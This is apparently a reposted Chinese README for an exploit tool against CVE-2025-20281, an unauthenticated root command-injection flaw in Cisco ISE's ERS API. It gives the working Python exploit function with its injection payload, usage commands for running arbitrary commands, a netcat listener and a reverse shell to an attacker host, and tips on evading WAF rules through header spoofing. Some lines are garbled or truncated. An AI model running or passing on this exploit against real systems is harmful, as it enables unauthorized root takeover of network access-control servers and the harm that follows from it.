
本项目是一个针对 CVE-2025-20281 漏洞的概念验证(PoC)与利用工具。该漏洞存在于 Cisco Identity Services Engine (ISE) 中,允许未经身份验证的远程攻击者通过 ERS API 以 root 权限执行任意系统命令,风险极高。
Cisco ISE 的 ERS /ers/sdk#_ 端点在处理用户创建请求时,未能正确验证用户身份。攻击者可以通过在 InternalUser 对象的 name 参数中注入 shell 命令,从而实现以 root 权限执行任意命令。
--cmd)。--whoami 参数,快速检测目标是否存在漏洞。--reverse 参数,一键生成反向Shell命令并发送,方便获取交互式访问。User-Agent 和 Content-Type 头,有助于绕过简单的Web应用防火墙(WAF)规则。requestsvenv\Scripts\activate该工具通过命令行参数进行操作,基本语法如下:
python3 CVE-2025-20281.py TARGET [--whoami | --cmd "命令" | --reverse LHOST LPORT]1. 快速验证漏洞 (执行 whoami 命令)
检查目标 192.168.1.10 是否存在漏洞,并查看执行命令的用户身份。
python3 CVE-2025-20281.py 192.168.1.10 --whoami2. 执行自定义命令
在目标上执行 id && hostname 命令,查看用户ID和主机名。
python3 CVE-2025-20281.py 192.168.1.10 --cmd "id && hostname"3. 获取反向Shell
在攻击机 10.10.14.99 上使用 nc 监听端口 4444:
nc -lvnp 4444然后在目标上执行反向Shell连接:
python3 CVE-2025-20281.py 192.168.1.10 --reverse 10.10.14.99 4444以下是工具的核心利用函数 exploit_cve_2025_20281_unauth,它封装了构造恶意请求并发送至漏洞端点的完整逻辑。
#!/usr/bin/env python3
import requests
import urllib3
# Suppress SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit_cve_2025_20281_unauth(target, cmd):
"""
Exploit CVE-2025-20281 - Cisco ISE ERS API unauthenticated RCE
通过注入恶意命令到InternalUser对象的name字段,实现未授权远程代码执行。
"""
# 目标漏洞端点
url = f"https://{target}:9060/ers/sdk#_"
# 恶意payload: 将系统命令注入到name字段中,使用分号分隔并结束注释
payload = {
"InternalUser": {
"name": f"pwn; {cmd}; #", # 命令注入点
"password": "x", # 密码字段为占位符,不影响执行
"changePassword": False
}
}
# 请求头伪装成正常流量
headers = {
"Content-Type": "application/json",
"Accept": "application/json",
"User-Agent": "Mozilla/5.0" # 模拟浏览器请求
}
try:
# 发送POST请求,忽略SSL证书验证
response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
print(f"[+] HTTP {response.status_code}")
if response.ok:
# 如果请求成功,返回的响应体中可能包含命令执行的结果
print(response.text)
else:
print("[!] Server responded with error, may not be vulnerable.")
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")此函数的核心在于构造的 payload。通过在 name 字段中注入 ; cmd; #,攻击者可以结束原始的JSON结构并插入任意系统命令,同时用 # 注释掉后续的JSON内容,确保请求格式仍然有效。FINISHED
6HFtX5dABrKlqXeO5PUv/09fxx6vtPhIuDfUs5dLzn+h0Vcvr3rjwCr15chJj2sO
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。